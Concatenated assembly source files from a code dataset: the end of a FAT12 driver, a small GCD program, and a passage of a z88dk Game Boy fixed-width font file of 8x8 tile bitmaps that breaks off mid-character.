; Error case set CF and go here pop si pop bx pop es mov sp, bp pop bp ret .err: add sp, 6 stc ; Set carry bit jmp .return_after_clear_stack .ret_nomore: ; Jump to here if no more entry is in the directory xor ax, ax inc ax jmp .return fat12_init_str: db "FAT12 %c DATA %u ROOT %u (RSV %u FATSZ %u #FAT %u)", 0ah, 00h fat12_init_err: db "FAT12 Init Error: %s", 0ah, 00h fat12_init_inv_csz: db "Cluster size not 1", 0ah, 00h ; Failure reason, cluster size is greater than 1 fat12_getnext_err: db "FAT12 invarg getnext", 0ah, 00h fat12_readdir_err: db "readdir invarg", 0ah, 00h
48.878628
124
0.552605
32a14d46eee00f6be8671d712558f47a529e48bb
571
asm
Assembly
SystemsProgramming/p7.asm
aaiijmrtt/JUCSE
3413b7280bc4883c056a9444e8dc56144b692e32
[ "MIT" ]
6
2016-04-21T15:07:02.000Z
2020-11-26T14:47:13.000Z
SystemsProgramming/p7.asm
aaiijmrtt/JUCSEsem2
3413b7280bc4883c056a9444e8dc56144b692e32
[ "MIT" ]
null
null
null
SystemsProgramming/p7.asm
aaiijmrtt/JUCSEsem2
3413b7280bc4883c056a9444e8dc56144b692e32
[ "MIT" ]
5
2015-08-09T17:31:10.000Z
2018-03-19T10:45:38.000Z
%include "util.mac" extern buffer, newline, newlinesize, inputnumber, inputnumbersize, outprompt, outpromptsize, getnumber section .text global _start gcd: div bl and ah, ah jz end mov al, bl mov bl, ah mov ah, 0 call gcd end: ret _start: write inputnumber, inputnumbersize call getnumber write newline, newlinesize mov eax, 0 mov al, [buffer] write inputnumber, inputnumbersize call getnumber write newline, newlinesize mov ebx, 0 mov bl, [buffer] call gcd write outprompt, outpromptsize printword bx, buffer, 2 write newline, newlinesize exit
17.30303
102
0.756567
7828b959f1748bda60d369752f151f3acf7c32ea
64,405
asm
Assembly
libsrc/target/gb/gbdk/ibmfixed.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/target/gb/gbdk/ibmfixed.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/target/gb/gbdk/ibmfixed.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; font: font ;; BANKED: checked SECTION rodata_driver GLOBAL font_load PUBLIC _font_ibm_fixed _font_ibm_fixed: defb 0+4 ; 256 char encoding, compressed defb 255 ; Number of tiles ; Encoding table ; Hack defb 0x00 defb 0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08 defb 0x09,0x0A,0x0B,0x0C,0x0D,0x0E,0x0F,0x10 defb 0x11,0x12,0x13,0x14,0x15,0x16,0x17,0x18 defb 0x19,0x1A,0x1B,0x1C,0x1D,0x1E,0x1F,0x20 defb 0x21,0x22,0x23,0x24,0x25,0x26,0x27,0x28 defb 0x29,0x2A,0x2B,0x2C,0x2D,0x2E,0x2F,0x30 defb 0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38 defb 0x39,0x3A,0x3B,0x3C,0x3D,0x3E,0x3F,0x40 defb 0x41,0x42,0x43,0x44,0x45,0x46,0x47,0x48 defb 0x49,0x4A,0x4B,0x4C,0x4D,0x4E,0x4F,0x50 defb 0x51,0x52,0x53,0x54,0x55,0x56,0x57,0x58 defb 0x59,0x5A,0x5B,0x5C,0x5D,0x5E,0x5F,0x60 defb 0x61,0x62,0x63,0x64,0x65,0x66,0x67,0x68 defb 0x69,0x6A,0x6B,0x6C,0x6D,0x6E,0x6F,0x70 defb 0x71,0x72,0x73,0x74,0x75,0x76,0x77,0x78 defb 0x79,0x7A,0x7B,0x7C,0x7D,0x7E,0x7F,0x80 defb 0x81,0x82,0x83,0x84,0x85,0x86,0x87,0x88 defb 0x89,0x8A,0x8B,0x8C,0x8D,0x8E,0x8F,0x90 defb 0x91,0x92,0x93,0x94,0x95,0x96,0x97,0x98 defb 0x99,0x9A,0x9B,0x9C,0x9D,0x9E,0x9F,0xA0 defb 0xA1,0xA2,0xA3,0xA4,0xA5,0xA6,0xA7,0xA8 defb 0xA9,0xAA,0xAB,0xAC,0xAD,0xAE,0xAF,0xB0 defb 0xB1,0xB2,0xB3,0xB4,0xB5,0xB6,0xB7,0xB8 defb 0xB9,0xBA,0xBB,0xBC,0xBD,0xBE,0xBF,0xC0 defb 0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8 defb 0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD0 defb 0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xD7,0xD8 defb 0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0xDF,0xE0 defb 0xE1,0xE2,0xE3,0xE4,0xE5,0xE6,0xE7,0xE8 defb 0xE9,0xEA,0xEB,0xEC,0xED,0xEE,0xEF,0xF0 defb 0xF1,0xF2,0xF3,0xF4,0xF5,0xF6,0xF7,0xF8 defb 0xF9,0xFA,0xFB,0xFC,0xFD,0xFE,0xFF ; Tile data ;; Hook for the graphics routines _font_ibm_fixed_tiles: ; Default character (space) defb 0b00000000 defb 0b00000000 defb 0b00000000 defb 0b00000000 defb 0b00000000 defb 0b00000000 defb 0b00000000 defb 0b00000000 ; Character: ? (01) defb 0b00011000 ; oo defb 0b00100100 ; o o defb 0b01000010 ; o o defb 0b10000001 ; o o defb 0b11100111 ; ooo ooo defb 0b00100100 ; o o defb 0b00100100 ; o o defb 0b00111100 ; oooo ; Character: ? (02) defb 0b00111100 ; oooo defb 0b00100100 ; o o defb 0b00100100 ; o o defb 0b11100111 ; ooo ooo defb 0b10000001 ; o o defb 0b01000010 ; o o defb 0b00100100 ; o o defb 0b00011000 ; oo ; Character: ? (03) defb 0b00011000 ; oo defb 0b00010100 ; o o defb 0b11110010 ; oooo o defb 0b10000001 ; o o defb 0b10000001 ; o o defb 0b11110010 ; oooo o defb 0b00010100 ; o o defb 0b00011000 ; oo ; Character: ? (04) defb 0b00011000 ; oo defb 0b00101000 ; o o defb 0b01001111 ; o oooo defb 0b10000001 ; o o defb 0b10000001 ; o o defb 0b01001111 ; o oooo defb 0b00101000 ; o o defb 0b00011000 ; oo ; Character: ? (05) defb 0b11111111 ; oooooooo defb 0b10000001 ; o o defb 0b10000001 ; o o defb 0b10000001 ; o o defb 0b10000001 ; o o defb 0b10000001 ; o o defb 0b10000001 ; o o defb 0b11111111 ; oooooooo ; Character: ? (06) defb 0b11111000 ; ooooo defb 0b10001000 ; o o defb 0b10001111 ; o oooo defb 0b10001001 ; o o o defb 0b11111001 ; ooooo o defb 0b01000001 ; o o defb 0b01000001 ; o o defb 0b01111111 ; ooooooo ; Character: ? (07) defb 0b11111111 ; oooooooo defb 0b10001001 ; o o o defb 0b10001001 ; o o o defb 0b10001001 ; o o o defb 0b11111001 ; ooooo o defb 0b10000001 ; o o defb 0b10000001 ; o o defb 0b11111111 ; oooooooo ; Character: ? (08) defb 0b00000001 ; o defb 0b00000011 ; oo defb 0b00000110 ; oo defb 0b10001100 ; o oo defb 0b11011000 ; oo oo defb 0b01110000 ; ooo defb 0b00100000 ; o defb 0b00000000 ; ; Character: ? (09) defb 0b01111110 ; oooooo defb 0b11000011 ; oo oo defb 0b11010011 ; oo o oo defb 0b11010011 ; oo o oo defb 0b11011011 ; oo oo oo defb 0b11000011 ; oo oo defb 0b11000011 ; oo oo defb 0b01111110 ; oooooo ; Character: ? (0A) defb 0b00011000 ; oo defb 0b00111100 ; oooo defb 0b00101100 ; o oo defb 0b00101100 ; o oo defb 0b01111110 ; oooooo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00000000 ; ; Character: ? (0B) defb 0b00010000 ; o defb 0b00011100 ; ooo defb 0b00010010 ; o o defb 0b00010000 ; o defb 0b00010000 ; o defb 0b01110000 ; ooo defb 0b11110000 ; oooo defb 0b01100000 ; oo ; Character: ? (0C) defb 0b11110000 ; oooo defb 0b11000000 ; oo defb 0b11111110 ; ooooooo defb 0b11011000 ; oo oo defb 0b11011110 ; oo oooo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00000000 ; ; Character: ? (0D) defb 0b01110000 ; ooo defb 0b11001000 ; oo o defb 0b11011110 ; oo oooo defb 0b11011011 ; oo oo oo defb 0b11011011 ; oo oo oo defb 0b01111110 ; oooooo defb 0b00011011 ; oo oo defb 0b00011011 ; oo oo ; Character: ? (0E) defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; defb 0b11111111 ; oooooooo defb 0b11111111 ; oooooooo defb 0b11111111 ; oooooooo defb 0b00000000 ; defb 0b00000000 ; ; Character: ? (0F) defb 0b00011100 ; ooo defb 0b00011100 ; ooo defb 0b00011100 ; ooo defb 0b00011100 ; ooo defb 0b00011100 ; ooo defb 0b00011100 ; ooo defb 0b00011100 ; ooo defb 0b00011100 ; ooo ; Character: ? (10) defb 0b01111100 ; ooooo defb 0b11000110 ; oo oo defb 0b11000110 ; oo oo defb 0b00000000 ; defb 0b11000110 ; oo oo defb 0b11000110 ; oo oo defb 0b01111100 ; ooooo defb 0b00000000 ; ; Character: ? (11) defb 0b00000110 ; oo defb 0b00000110 ; oo defb 0b00000110 ; oo defb 0b00000000 ; defb 0b00000110 ; oo defb 0b00000110 ; oo defb 0b00000110 ; oo defb 0b00000000 ; ; Character: ? (12) defb 0b01111100 ; ooooo defb 0b00000110 ; oo defb 0b00000110 ; oo defb 0b01111100 ; ooooo defb 0b11000000 ; oo defb 0b11000000 ; oo defb 0b01111100 ; ooooo defb 0b00000000 ; ; Character: ? (13) defb 0b01111100 ; ooooo defb 0b00000110 ; oo defb 0b00000110 ; oo defb 0b01111100 ; ooooo defb 0b00000110 ; oo defb 0b00000110 ; oo defb 0b01111100 ; ooooo defb 0b00000000 ; ; Character: ? (14) defb 0b11000110 ; oo oo defb 0b11000110 ; oo oo defb 0b11000110 ; oo oo defb 0b01111100 ; ooooo defb 0b00000110 ; oo defb 0b00000110 ; oo defb 0b00000110 ; oo defb 0b00000000 ; ; Character: ? (15) defb 0b01111100 ; ooooo defb 0b11000000 ; oo defb 0b11000000 ; oo defb 0b01111100 ; ooooo defb 0b00000110 ; oo defb 0b00000110 ; oo defb 0b01111100 ; ooooo defb 0b00000000 ; ; Character: ? (16) defb 0b01111100 ; ooooo defb 0b11000000 ; oo defb 0b11000000 ; oo defb 0b01111100 ; ooooo defb 0b11000110 ; oo oo defb 0b11000110 ; oo oo defb 0b01111100 ; ooooo defb 0b00000000 ; ; Character: ? (17) defb 0b01111100 ; ooooo defb 0b00000110 ; oo defb 0b00000110 ; oo defb 0b00000000 ; defb 0b00000110 ; oo defb 0b00000110 ; oo defb 0b00000110 ; oo defb 0b00000000 ; ; Character: ? (18) defb 0b01111100 ; ooooo defb 0b11000110 ; oo oo defb 0b11000110 ; oo oo defb 0b01111100 ; ooooo defb 0b11000110 ; oo oo defb 0b11000110 ; oo oo defb 0b01111100 ; ooooo defb 0b00000000 ; ; Character: ? (19) defb 0b01111100 ; ooooo defb 0b11000110 ; oo oo defb 0b11000110 ; oo oo defb 0b01111100 ; ooooo defb 0b00000110 ; oo defb 0b00000110 ; oo defb 0b01111100 ; ooooo defb 0b00000000 ; ; Character: ? (1A) defb 0b00000000 ; defb 0b00111100 ; oooo defb 0b01000110 ; o oo defb 0b00000110 ; oo defb 0b01111110 ; oooooo defb 0b01100110 ; oo oo defb 0b00111100 ; oooo defb 0b00000000 ; ; Character: ? (1B) defb 0b01111000 ; oooo defb 0b01100110 ; oo oo defb 0b01111101 ; ooooo o defb 0b01100100 ; oo o defb 0b01111110 ; oooooo defb 0b00000011 ; oo defb 0b00001011 ; o oo defb 0b00000110 ; oo ; Character: ? (1C) defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; defb 0b00011111 ; ooooo defb 0b00011111 ; ooooo defb 0b00011111 ; ooooo defb 0b00011100 ; ooo defb 0b00011100 ; ooo ; Character: ? (1D) defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; defb 0b11111100 ; oooooo defb 0b11111100 ; oooooo defb 0b11111100 ; oooooo defb 0b00011100 ; ooo defb 0b00011100 ; ooo ; Character: ? (1E) defb 0b00011100 ; ooo defb 0b00011100 ; ooo defb 0b00011100 ; ooo defb 0b00011111 ; ooooo defb 0b00011111 ; ooooo defb 0b00011111 ; ooooo defb 0b00000000 ; defb 0b00000000 ; ; Character: ? (1F) defb 0b00011100 ; ooo defb 0b00011100 ; ooo defb 0b00011100 ; ooo defb 0b11111100 ; oooooo defb 0b11111100 ; oooooo defb 0b11111100 ; oooooo defb 0b00000000 ; defb 0b00000000 ; ; Character: (20) defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; ; Character: ! (21) defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00000000 ; defb 0b00011000 ; oo defb 0b00000000 ; ; Character: " (22) defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01000100 ; o o defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; ; Character: # (23) defb 0b00000000 ; defb 0b00100100 ; o o defb 0b01111110 ; oooooo defb 0b00100100 ; o o defb 0b00100100 ; o o defb 0b01111110 ; oooooo defb 0b00100100 ; o o defb 0b00000000 ; ; Character: $ (24) defb 0b00010100 ; o o defb 0b00111110 ; ooooo defb 0b01010101 ; o o o o defb 0b00111100 ; oooo defb 0b00011110 ; oooo defb 0b01010101 ; o o o o defb 0b00111110 ; ooooo defb 0b00010100 ; o o ; Character: % (25) defb 0b01100010 ; oo o defb 0b01100110 ; oo oo defb 0b00001100 ; oo defb 0b00011000 ; oo defb 0b00110000 ; oo defb 0b01100110 ; oo oo defb 0b01000110 ; o oo defb 0b00000000 ; ; Character: & (26) defb 0b01111000 ; oooo defb 0b11001100 ; oo oo defb 0b01100001 ; oo o defb 0b11001110 ; oo ooo defb 0b11001100 ; oo oo defb 0b11001100 ; oo oo defb 0b01111000 ; oooo defb 0b00000000 ; ; Character: ' (27) defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00010000 ; o defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; ; Character: ( (28) defb 0b00000100 ; o defb 0b00001000 ; o defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00001000 ; o defb 0b00000100 ; o ; Character: ) (29) defb 0b00100000 ; o defb 0b00010000 ; o defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00010000 ; o defb 0b00100000 ; o ; Character: * (2A) defb 0b00000000 ; defb 0b01010100 ; o o o defb 0b00111000 ; ooo defb 0b11111110 ; ooooooo defb 0b00111000 ; ooo defb 0b01010100 ; o o o defb 0b00000000 ; defb 0b00000000 ; ; Character: + (2B) defb 0b00000000 ; defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b01111110 ; oooooo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00000000 ; defb 0b00000000 ; ; Character: , (2C) defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; defb 0b00110000 ; oo defb 0b00110000 ; oo defb 0b00100000 ; o ; Character: - (2D) defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; defb 0b00111100 ; oooo defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; ; Character: . (2E) defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00000000 ; ; Character: / (2F) defb 0b00000011 ; oo defb 0b00000110 ; oo defb 0b00001100 ; oo defb 0b00011000 ; oo defb 0b00110000 ; oo defb 0b01100000 ; oo defb 0b11000000 ; oo defb 0b00000000 ; ; Character: 0 (30) defb 0b00111100 ; oooo defb 0b01100110 ; oo oo defb 0b01101110 ; oo ooo defb 0b01110110 ; ooo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b00111100 ; oooo defb 0b00000000 ; ; Character: 1 (31) defb 0b00011000 ; oo defb 0b00111000 ; ooo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00000000 ; ; Character: 2 (32) defb 0b00111100 ; oooo defb 0b01100110 ; oo oo defb 0b00001110 ; ooo defb 0b00011100 ; ooo defb 0b00111000 ; ooo defb 0b01110000 ; ooo defb 0b01111110 ; oooooo defb 0b00000000 ; ; Character: 3 (33) defb 0b01111110 ; oooooo defb 0b00001100 ; oo defb 0b00011000 ; oo defb 0b00111100 ; oooo defb 0b00000110 ; oo defb 0b01000110 ; o oo defb 0b00111100 ; oooo defb 0b00000000 ; ; Character: 4 (34) defb 0b00001100 ; oo defb 0b00011100 ; ooo defb 0b00101100 ; o oo defb 0b01001100 ; o oo defb 0b01111110 ; oooooo defb 0b00001100 ; oo defb 0b00001100 ; oo defb 0b00000000 ; ; Character: 5 (35) defb 0b01111110 ; oooooo defb 0b01100000 ; oo defb 0b01111100 ; ooooo defb 0b00000110 ; oo defb 0b00000110 ; oo defb 0b01000110 ; o oo defb 0b00111100 ; oooo defb 0b00000000 ; ; Character: 6 (36) defb 0b00011100 ; ooo defb 0b00100000 ; o defb 0b01100000 ; oo defb 0b01111100 ; ooooo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b00111100 ; oooo defb 0b00000000 ; ; Character: 7 (37) defb 0b01111110 ; oooooo defb 0b00000110 ; oo defb 0b00001110 ; ooo defb 0b00011100 ; ooo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00000000 ; ; Character: 8 (38) defb 0b00111100 ; oooo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b00111100 ; oooo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b00111100 ; oooo defb 0b00000000 ; ; Character: 9 (39) defb 0b00111100 ; oooo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b00111110 ; ooooo defb 0b00000110 ; oo defb 0b00001100 ; oo defb 0b00111000 ; ooo defb 0b00000000 ; ; Character: : (3A) defb 0b00000000 ; defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00000000 ; defb 0b00000000 ; defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00000000 ; ; Character: ; (3B) defb 0b00000000 ; defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00000000 ; defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00010000 ; o defb 0b00000000 ; ; Character: < (3C) defb 0b00000110 ; oo defb 0b00001100 ; oo defb 0b00011000 ; oo defb 0b00110000 ; oo defb 0b00011000 ; oo defb 0b00001100 ; oo defb 0b00000110 ; oo defb 0b00000000 ; ; Character: = (3D) defb 0b00000000 ; defb 0b00000000 ; defb 0b00111100 ; oooo defb 0b00000000 ; defb 0b00000000 ; defb 0b00111100 ; oooo defb 0b00000000 ; defb 0b00000000 ; ; Character: > (3E) defb 0b01100000 ; oo defb 0b00110000 ; oo defb 0b00011000 ; oo defb 0b00001100 ; oo defb 0b00011000 ; oo defb 0b00110000 ; oo defb 0b01100000 ; oo defb 0b00000000 ; ; Character: ? (3F) defb 0b00111100 ; oooo defb 0b01000110 ; o oo defb 0b00000110 ; oo defb 0b00001100 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00000000 ; defb 0b00011000 ; oo ; Character: @ (40) defb 0b00111100 ; oooo defb 0b01100110 ; oo oo defb 0b01101110 ; oo ooo defb 0b01101010 ; oo o o defb 0b01101110 ; oo ooo defb 0b01100000 ; oo defb 0b00111100 ; oooo defb 0b00000000 ; ; Character: A (41) defb 0b00111100 ; oooo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01111110 ; oooooo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b00000000 ; ; Character: B (42) defb 0b01111100 ; ooooo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01111100 ; ooooo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01111100 ; ooooo defb 0b00000000 ; ; Character: C (43) defb 0b00111100 ; oooo defb 0b01100010 ; oo o defb 0b01100000 ; oo defb 0b01100000 ; oo defb 0b01100000 ; oo defb 0b01100010 ; oo o defb 0b00111100 ; oooo defb 0b00000000 ; ; Character: D (44) defb 0b01111100 ; ooooo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01111100 ; ooooo defb 0b00000000 ; ; Character: E (45) defb 0b01111110 ; oooooo defb 0b01100000 ; oo defb 0b01100000 ; oo defb 0b01111100 ; ooooo defb 0b01100000 ; oo defb 0b01100000 ; oo defb 0b01111110 ; oooooo defb 0b00000000 ; ; Character: F (46) defb 0b01111110 ; oooooo defb 0b01100000 ; oo defb 0b01100000 ; oo defb 0b01111100 ; ooooo defb 0b01100000 ; oo defb 0b01100000 ; oo defb 0b01100000 ; oo defb 0b00000000 ; ; Character: G (47) defb 0b00111100 ; oooo defb 0b01100010 ; oo o defb 0b01100000 ; oo defb 0b01101110 ; oo ooo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b00111110 ; ooooo defb 0b00000000 ; ; Character: H (48) defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01111110 ; oooooo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b00000000 ; ; Character: I (49) defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00000000 ; ; Character: J (4A) defb 0b00000110 ; oo defb 0b00000110 ; oo defb 0b00000110 ; oo defb 0b00000110 ; oo defb 0b00000110 ; oo defb 0b01000110 ; o oo defb 0b00111100 ; oooo defb 0b00000000 ; ; Character: K (4B) defb 0b01100110 ; oo oo defb 0b01101100 ; oo oo defb 0b01111000 ; oooo defb 0b01110000 ; ooo defb 0b01111000 ; oooo defb 0b01101100 ; oo oo defb 0b01100110 ; oo oo defb 0b00000000 ; ; Character: L (4C) defb 0b01100000 ; oo defb 0b01100000 ; oo defb 0b01100000 ; oo defb 0b01100000 ; oo defb 0b01100000 ; oo defb 0b01100000 ; oo defb 0b01111100 ; ooooo defb 0b00000000 ; ; Character: M (4D) defb 0b11111100 ; oooooo defb 0b11010110 ; oo o oo defb 0b11010110 ; oo o oo defb 0b11010110 ; oo o oo defb 0b11010110 ; oo o oo defb 0b11000110 ; oo oo defb 0b11000110 ; oo oo defb 0b00000000 ; ; Character: N (4E) defb 0b01100010 ; oo o defb 0b01110010 ; ooo o defb 0b01111010 ; oooo o defb 0b01011110 ; o oooo defb 0b01001110 ; o ooo defb 0b01000110 ; o oo defb 0b01000010 ; o o defb 0b00000000 ; ; Character: O (4F) defb 0b00111100 ; oooo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b00111100 ; oooo defb 0b00000000 ; ; Character: P (50) defb 0b01111100 ; ooooo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01111100 ; ooooo defb 0b01100000 ; oo defb 0b01100000 ; oo defb 0b01100000 ; oo defb 0b00000000 ; ; Character: Q (51) defb 0b00111100 ; oooo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b00111100 ; oooo defb 0b00000110 ; oo ; Character: R (52) defb 0b01111100 ; ooooo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01111100 ; ooooo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b00000000 ; ; Character: S (53) defb 0b00111100 ; oooo defb 0b01100010 ; oo o defb 0b01110000 ; ooo defb 0b00111100 ; oooo defb 0b00001110 ; ooo defb 0b01000110 ; o oo defb 0b00111100 ; oooo defb 0b00000000 ; ; Character: T (54) defb 0b01111110 ; oooooo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00000000 ; ; Character: U (55) defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b00111100 ; oooo defb 0b00000000 ; ; Character: V (56) defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100100 ; oo o defb 0b01111000 ; oooo defb 0b00000000 ; ; Character: W (57) defb 0b11000110 ; oo oo defb 0b11000110 ; oo oo defb 0b11000110 ; oo oo defb 0b11010110 ; oo o oo defb 0b11010110 ; oo o oo defb 0b11010110 ; oo o oo defb 0b11111100 ; oooooo defb 0b00000000 ; ; Character: X (58) defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b00111100 ; oooo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b00000000 ; ; Character: Y (59) defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b00111100 ; oooo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00000000 ; ; Character: Z (5A) defb 0b01111110 ; oooooo defb 0b00001110 ; ooo defb 0b00011100 ; ooo defb 0b00111000 ; ooo defb 0b01110000 ; ooo defb 0b01100000 ; oo defb 0b01111110 ; oooooo defb 0b00000000 ; ; Character: [ (5B) defb 0b00011110 ; oooo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011110 ; oooo defb 0b00000000 ; ; Character: \ (5C) defb 0b01000000 ; o defb 0b01100000 ; oo defb 0b00110000 ; oo defb 0b00011000 ; oo defb 0b00001100 ; oo defb 0b00000110 ; oo defb 0b00000010 ; o defb 0b00000000 ; ; Character: ] (5D) defb 0b01111000 ; oooo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b00011000 ; oo defb 0b01111000 ; oooo defb 0b00000000 ; ; Character: ^ (5E) defb 0b00010000 ; o defb 0b00111000 ; ooo defb 0b01101100 ; oo oo defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; ; Character: _ (5F) defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; defb 0b01111110 ; oooooo defb 0b00000000 ; ; Character: ` (60) defb 0b00000000 ; defb 0b11000000 ; oo defb 0b11000000 ; oo defb 0b01100000 ; oo defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; defb 0b00000000 ; ; Character: a (61) defb 0b00000000 ; defb 0b00111100 ; oooo defb 0b01000110 ; o oo defb 0b00111110 ; ooooo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b00111110 ; ooooo defb 0b00000000 ; ; Character: b (62) defb 0b01100000 ; oo defb 0b01111100 ; ooooo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01111100 ; ooooo defb 0b00000000 ; ; Character: c (63) defb 0b00000000 ; defb 0b00111100 ; oooo defb 0b01100010 ; oo o defb 0b01100000 ; oo defb 0b01100000 ; oo defb 0b01100010 ; oo o defb 0b00111100 ; oooo defb 0b00000000 ; ; Character: d (64) defb 0b00000110 ; oo defb 0b00111110 ; ooooo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b00111110 ; ooooo defb 0b00000000 ; ; Character: e (65) defb 0b00000000 ; defb 0b00111100 ; oooo defb 0b01100110 ; oo oo defb 0b01111110 ; oooooo defb 0b01100000 ; oo defb 0b01100010 ; oo o defb 0b00111100 ; oooo defb 0b00000000 ; ; Character: f (66) defb 0b00011110 ; oooo defb 0b00110000 ; oo defb 0b01111100 ; ooooo defb 0b00110000 ; oo defb 0b00110000 ; oo defb 0b00110000 ; oo defb 0b00110000 ; oo defb 0b00000000 ; ; Character: g (67) defb 0b00000000 ; defb 0b00111110 ; ooooo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b00111110 ; ooooo defb 0b01000110 ; o oo defb 0b00111100 ; oooo ; Character: h (68) defb 0b01100000 ; oo defb 0b01111100 ; ooooo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b01100110 ; oo oo defb 0b00000000 ; ; Character: i (69) defb 0b00011000 ; oo defb 